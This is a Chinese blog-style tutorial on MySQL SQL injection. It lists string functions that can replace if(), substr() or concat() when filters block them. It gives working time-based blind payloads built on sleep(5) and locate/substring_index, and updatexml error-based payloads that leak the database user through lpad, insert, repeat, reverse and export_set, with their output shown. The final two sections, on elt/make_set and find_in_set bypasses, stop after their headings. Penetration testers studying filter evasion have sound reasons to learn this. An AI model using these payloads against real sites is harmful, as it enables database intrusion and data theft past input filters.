本次文章是在對一次時間盲注時if等函數被ban的時候,通過查找以先函數來進行代替利用
先對用到的函數簡單介紹ascii():返回字符串str的最左面字符的ASCII代碼值。如果str是空字符串,返回0。如果str是NULL,返回NULL。
ord():返回字符的ascii碼
conv(N,from_base,to_base):N是要轉換的數據,from_base是原進位,to_base是目標進位。
mysql> select CONV("a",16,2);
-> '1010'
bin():返回數字的二進位表示形式,作為字符串值(注意:必須是數字)
oct():函數返回數字N的八進位數的字符串表示,這相當於使用CONV(N,10,8)。(還是只能是數字)
hex():返回十六進位值N一個字符串的表示,這等價於CONV(N,10,16)。
char():將參數解釋為整數並且返回由這些整數的ASCII代碼字符組成的一個字符串。
mysql> select CHAR(77,121,83,81,'76');
-> 'MySQL'
mysql> select CHAR(77,77.3,'77.3');
-> 'MMM'
concat()/concat_ws()/group_concat():返回來自於參數連結的字符串
length/octet_length/char_length/character_length:長度返回
locate/position/instr:都是判斷位置的,instr可以和limit連用來達到前面兩個的效果
mysql> select locate('f1','f1fhgb');
-> 1
mysql> select locate('f0','f1fhgb');
-> 0
mysql> select locate('fh','f1fhgb');
-> 3
mysql> select position('bc'in'abc');
-> 2
mysql> select instr('aabca','abc');
-> 2
mysql> select instr('abca','abc');
-> 1
lpad/rpad():一個在最開始填充,一個在末尾填充:
mysql> select lpad('hi',9,'ab');
-> abababahi
left/right():返回字符串str的最左/右面len個字符。
mysql> select left('abcdef',5);
-> abcde
mysql> select right('abcdef',5);
-> bcdef
substring\substring_index
mysql> select substring('12345' from 2 for 1);
-> 2
mysql> select substring('12345',2,1);
-> 2
mysql> select substring_index('tll','t',1);
->
mysql> select substring_index('tll','l',1);
-> t
elt(N,str1,str2,str3,...):如果N= 1,返回str1。如果N=2,返回str2,等等。如果N小於1或大於參數個數,返回NULL。ELT()是FIELD()反運算。
find_in_set(str,strlist):如果字符串str在由N子串組成的表strlist之中,返回一個1到N的值。一個字符串表是被","分隔的子串組成的一個字符串。
make_set(bits,str1,str2,...):返回一個集合(包含由","字符分隔的子串組成的一個字符串),由相應的位在bits集合中的的字符串組成。str1對應於位0,str2對應位1,等等。
對代替函數利用的考慮ascii和ord互用
char()可以在寬字節注入的時候禁了0的時候用這個
locate和position和instr可以用來盲注,大概構造select * from tll where id=11 union select 1,2,3,locate('a',(select database()));或者時間盲注感覺有點可能或者不用if直接時間盲注:大致語法select * from tll where id=1 and (locate('tll',(select database()))=1) and sleep(5);到時候往裡面加substr這些截斷就可以真正的時間盲注
left和right可以用來在過濾substr這些的時候用
substr和substring和substring_index都可以用來截斷,這裡提一下substring_index搭配用法if(substring_index((select database()),'t',1)='',sleep(5),1)只要慢慢的累加就行
我們都知道要是用updatexml的時候必須至少含有一個特殊字符,否則會漏掉一些數據而當concat被攔截的時候,就會導致沒法拼接特殊字符,所以這裡可以利用make_set和lpad和repeat和reverse和export_set和insert這些函數的用法就不一一列舉,有興趣的可以去看看
mysql> select * from tll where id=11 or updatexml(1,insert(0x7e,2,1,(select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'
mysql> select updatexml(1,lpad('@',30,(select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '@localhostroot@localhostr@'
mysql> select updatexml(1,repeat((select user()),2),1);
ERROR 1105 (HY000): XPATH syntax error: '@localhostroot@localhost'
mysql> select updatexml(1,(select user()),1);
ERROR 1105 (HY000): XPATH syntax error: '@localhost'
mysql> select updatexml(1,reverse((select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '@toor'
mysql> select updatexml(1,export_set(1|2,'::',(select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '::,::,root@localhost,root@localh'
我們都知道如果在想要時間盲注的時候,要是if過濾了就差不多涼涼了,但是這裡我們可以使用elt來代替if進行繞過 或者使用make_set來代替if進行時間盲注:
find_in_set在完全過濾了等於號時來進行時間盲注: